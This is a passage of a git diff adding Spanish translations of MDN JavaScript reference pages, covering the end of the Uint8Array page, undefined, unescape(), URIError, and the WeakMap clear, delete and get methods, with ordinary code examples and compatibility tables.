+ <dd>Retorna un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice en el array. Véase también {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint8Array.prototype.toLocaleString()")}}</dt>
+ <dd>Devuelve una cadena localizada que representa el array y sus elementos. Véase también {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint8Array.prototype.toString()")}}</dt>
+ <dd>Retorna una cadena representando el array sus elementos. Véase también {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint8Array.prototype[@@iterator]()")}}</dt>
+ <dd>Retorna un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice en el array.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Desde una longitud
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// Desde un array
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// Desde otro TypedArray
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// Desde un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Sustituida por ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial en un ECMA standard. Se especificó que <code>new</code> es requirerido.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop(2) }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>new</code> es requerido</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(44) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(2) }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td><code>new</code> es requerido</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile(44) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<p>A partir de ECMAScript 2015 (ES6), los constructors de <code>Uint8Array</code> requiren ser construidos con un operador {{jsxref("Operators/new", "new")}}. Llamar a un contructor de <code>Uint8Array</code> como una función sin <code>new</code>, lanzará un {{jsxref("TypeError")}} de ahora en adelante.</p>
+
+<pre class="brush: js example-bad">var dv = Uint8Array([1, 2, 3]);
+// TypeError: calling a builtin Uint8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint8Array([1, 2, 3]);</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/undefined/index.html b/files/es/web/javascript/referencia/objetos_globales/undefined/index.html
new file mode 100644
index 0000000000..1aa7db29b8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/undefined/index.html
@@ -0,0 +1,183 @@
+---
+title: undefined
+slug: Web/JavaScript/Referencia/Objetos_globales/undefined
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad global <strong>undefined</strong> representa el valor primitivo <code>{{Glossary("Undefined", "undefined")}}</code>. Es uno de los {{Glossary("Primitive", "valores primitivos")}} de JavaScript.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>undefined</code></pre>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>undefined</code> es una propiedad del <em>objeto global</em>, es decir, una variable de alcance global. El valor inicial de <code>undefined</code> es el valor primitivo <code>{{Glossary("Undefined", "undefined")}}</code>.<span class="comment">this needs clarification, but that would require explaining primitive values</span></p>
+
+<p>En navegadores modernos (JavaScript 1.8.5 / Firefox 4+), <code>undefined </code>es una propiedad <em>no-configurable</em>, <em>no-grabable</em> según la especificación ECMAScript 5. Aún cuando este no sea el caso, evite sobreescribirlo.</p>
+
+<p>Una variable a la que no se le ha asignado valor, o no se ha declarado en absoluto (no se declara, no existe) son de tipo <code>undefined</code>. Un método o sentencia también devuelve <code>undefined</code> si la variable que se está evaluando no tiene asignado un valor. Una función devuelve <code>undefined</code> si no se ha {{jsxref("Sentencias/return", "devuelto")}} un valor.</p>
+
+<div class="blockIndicator note">
+<p>Ten en cuenta que si no se ha declarado una variable ni explícita ni implícitamente, no puedes compararla con <strong>undefined  </strong>ya que obtendrías un <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a>, </strong> pero puedes comparar su tipo con la cadena (<a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/String">String</a>) "undefined". En el ejemplo más abajo se podrá ver cómo conseguir esto usando el operador <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/typeof">typeof</a>.</p>
+</div>
+
+<div class="warning">
+<p>Aunque es posible usarlo como un {{Glossary("Identifier", "identificador")}} (nombre de variable) en cualquier otro ámbito que no sea el ámbito global (porque <code>undefined </code>no es una {{jsxref("Reserved_Words", "palabra reservada")}}), hacerlo es una mala idea que provocará que tú código sea difícil de mantener y depurar.</p>
+
+<pre class="brush: js">//NO HAGAS ESTO
+
+// registra "foo string"
+(function(){ var undefined = 'foo'; console.log(undefined, typeof undefined); })()
+
+// registra "foo string"
+(function(undefined){ console.log(undefined, typeof undefined); })('foo');</pre>
+</div>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Ejemplos</h2>
+
+<h3 id="Igualdad_estricta_y_undefined">Igualdad estricta y <code>undefined</code></h3>
+
+<p>Puedes usar <code>undefined</code> y los operadores de igualdad y desigualdad estricta para determinar si una variable tiene un valor asignado. En el siguiente ejemplo la variable <code>x</code> no está inicializada, y la sentencia <code>if</code> se evalúa como verdadera.</p>
+
+<pre class="brush: js">var x;
+if (x === undefined) {
+   // se ejecutan estas instrucciones
+}
+else {
+   // estas instrucciones no se ejecutan
+}</pre>
+
+<div class="note">
+<p>Nota: Aquí se debe usar el operador de igualdad estricta en lugar del operador de igualdad estándar, ya que <code>x == undefined</code> también verifica si <code>x</code> es <code>null</code>, mientras que el de igualdad estricta no. <code>null</code> no es equivalente a <code>undefined</code>. Vea {{jsxref("Operadores/Comparison_Operators", "operadores de comparación")}} para más detalles.</p>
+</div>
+
+<h3 id="Typeof_operador_y_undefined">Typeof operador y <code>undefined</code></h3>
+
+<p>Alternativamente se puede usar {{jsxref("Operadores/typeof","typeof")}}.  Recuerda que este siempre devolverá una cadena de texto con el tipo:</p>
+
+<pre class="brush: js">var x;
+if (typeof x === 'undefined') {
+   // se ejecutan estas instrucciones
+}
+</pre>
+
+<p>Una razón para usar {{jsxref("Operadores/typeof","typeof")}} es que no devuelve un error si la variable no fue declarada.</p>
+
+<pre class="brush: js">// x no fue declarada antes
+if (typeof x === 'undefined') { // devuelve true
+   //se ejecutan estas instrucciones
+}
+
+if (x === undefined) { // lanza un ReferenceError
+
+}
+</pre>
+
+<p>Sin embargo, este tipo de técnica debe evitarse. JavaScript es un lenguaje de ámbito estático, por lo que determinar si una variable se encuentra declarada puede ser definido al ver si está declarada en un contexto de inclusión. La única excepción es el ámbito global, pero el ámbito global está vinculado al objeto global, por lo que comprobar la existencia de una variable en el contexto global puede realizarse comprobando la existencia de una propiedad del <em>objeto global</em> (utilizando el operador {{jsxref("Operators/in", "in")}}, por ejemplo).</p>
+
+<h3 id="Operador_void_y_undefined">Operador void y <code>undefined</code></h3>
+
+<p>El operador {{jsxref("Operadores/void", "void")}} es una tercer alternativa.</p>
+
+<pre class="brush: js">var x;
+if (x === void 0) {
+   // se ejecutan estas instrucciones
+}
+
+// y no fue declarada antes
+if (y === void 0) {
+   // lanza un ReferenceError (a diferencia de  `typeof`)
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-4.3.9', 'undefined')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/unescape/index.html b/files/es/web/javascript/referencia/objetos_globales/unescape/index.html
new file mode 100644
index 0000000000..48418ef48a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/unescape/index.html
@@ -0,0 +1,123 @@
+---
+title: unescape()
+slug: Web/JavaScript/Referencia/Objetos_globales/unescape
+translation_of: Web/JavaScript/Reference/Global_Objects/unescape
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La función deprecada <code><strong>unescape()</strong></code> calcula un nuevo string  en el cual secuencia de valores hexadecimales son reemplazados con el caracter que representa. La secuencia de calculo deber{ia ser introducida por una función como {{jsxref("escape")}}. Por que <code>unescape</code> está deprecada, usar {{jsxref("decodeURI")}} or {{jsxref("decodeURIComponent")}}.</p>
+
+<div class="note"><strong>Note:</strong> Do not use <code>unescape</code> to decode URIs, use <code>decodeURI</code> instead.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>unescape(str)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>A string to be decoded.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>unescape</code> function is a property of the <em>global object</em>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">unescape("abc123");     // "abc123"
+unescape("%E4%F6%FC");  // "äöü"
+unescape("%u0107");     // "ć"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-15.1.2.5', 'unescape')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in the (informative) Compatibility Annex B</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/urierror/index.html b/files/es/web/javascript/referencia/objetos_globales/urierror/index.html
new file mode 100644
index 0000000000..3ba028a2ab
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/urierror/index.html
@@ -0,0 +1,136 @@
+---
+title: URIError
+slug: Web/JavaScript/Referencia/Objetos_globales/URIError
+tags:
+  - Error
+  - JavaScript
+  - Reference
+  - URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <code><strong>URIError</strong></code>  representa un error cuando una función de uso URI global se usó de manera incorrecta.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new URIError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Opcional. Descripción del error legible para una persona.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. El nombre del archivo que contien el código causante de la excepción.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. El número de línea del código que ha causado la excepción.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Se envía <code>URIError</code>  cuando las fuciones de uso del URI global pasan pro un URI con formato incorrecto.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("URIError.prototype")}}</dt>
+ <dd>Permite agregar propiedades a un objeto URIError</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>El <code>URIError</code> global no contiene métodos propios, sin embargo, sí hereda algunos métodos a través de la cadena de prototipos.</p>
+
+<h2 id="URIError_instancias"><code>URIError</code> instancias</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Properties')}}</div>
+
+<h3 id="Métodos">Métodos</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Methods')}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Recoger_un_URIError">Recoger un <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  decodeURIComponent('%');
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "malformed URI sequence"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "Scratchpad/1"
+  console.log(e.lineNumber);          // 2
+  console.log(e.columnNumber);        // 2
+  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="Creando_un_URIError">Creando un <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  throw new URIError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "Hello"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "someFile.js"
+  console.log(e.lineNumber);          // 10
+  console.log(e.columnNumber);        // 0
+  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de los datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenes una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.URIError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("URIError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/clear/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/clear/index.html
new file mode 100644
index 0000000000..b5c66c7714
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/clear/index.html
@@ -0,0 +1,52 @@
+---
+title: WeakMap.prototype.clear()
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/clear
+tags:
+  - JavaScript
+  - Obsolete
+  - Protocols
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/clear
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>El método <code><strong>clear()</strong></code> es utilizado para suprimir todos los elementos del objeto <code>WeakMap</code>, sin embargo, ya no es parte de ECMAScript, ni de sus implementaciones.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>wm</em>.clear();</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilización_del_método_clear">Utilización del método <code>clear</code> </h3>
+
+<pre class="brush: js;highlight:[10] example-bad">var wm = new WeakMap();
+var obj = {};
+
+wm.set(obj, 'foo');
+wm.set(window, 'bar');
+
+wm.has(obj); // true
+wm.has(window); // true
+
+wm.clear();
+
+wm.has(obj)  // false
+wm.has(window)  // false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación actual o borrador. Este método fue parte de ECMAScript 6 como un bosquejo hasta la revisión 28 (versión de Octubre 14, 2014), sin embargo ha sido eliminado en versiones posteriores. No es parte de la última versión estándar.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.clear")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/delete/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/delete/index.html
new file mode 100644
index 0000000000..7f4933eb0b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/delete/index.html
@@ -0,0 +1,124 @@
+---
+title: WeakMap.prototype.delete()
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/delete
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Prototype
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>delete()</strong></code> elimina un elemento específico del objeto <code>WeakMap</code> .</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.delete(key);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>identificador (key)</dt>
+ <dd>Requerido. El identificador del elemento a eliminar en el objeto <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p><code>true</code> si el elemento del objeto <code>WeakMap</code> ha sido eliminado correctamente. Y <code>false</code> si la llave a eliminar no fue encontrada en el objeto <code>WeakMap</code> o bien, si la llave no es un objeto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilización_del_método_delete">Utilización del método <code>delete</code> </h3>
+
+<pre class="brush: js;highlight:[4]">var wm = new WeakMap();
+wm.set(window, "foo");
+
+wm.delete(window); // Devuelve true. Eliminado correctamente.
+
+wm.has(window);    // Devuelve false. El elemento window ya no es parte de WeakMap.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_especificas_de_Firefox">Notas especificas de Firefox</h2>
+
+<ul>
+ <li>Anterior a SpiderMonkey 38 {{geckoRelease(38)}}, este método lanzaba {{jsxref("TypeError")}} cuando el parámetro <code>key</code> no era un objeto. Esto ha sido corregido en la versión 38 y posteriormente devuelve <code>false</code> como parte del estándar de ES6 ({{bug(1127827)}}).</li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/get/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/get/index.html
new file mode 100644
index 0000000000..e60e34f8f1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/get/index.html
@@ -0,0 +1,80 @@
+---
+title: WeakMap.prototype.get()
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/get
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/get
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>get()</strong></code> devuelve un elemento específico del objeto <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-get.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.get(key);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Requerido. Es la llave del elemento a retornar desde el objeto WeakMap.</dd>
+</dl>
+
+<h3 id="Valores_devueltos">Valores devueltos</h3>
+
+<p>El elemento asociado con la llave específica en el objeto WeakMap. Si la llave no está presente, devolverá {{jsxref("undefined")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_get">Usando el método <code>get</code> </h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, 'foo');
+
+wm.get(window); // Devuelve "foo".
+wm.get('baz');  // Devuelve undefined.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
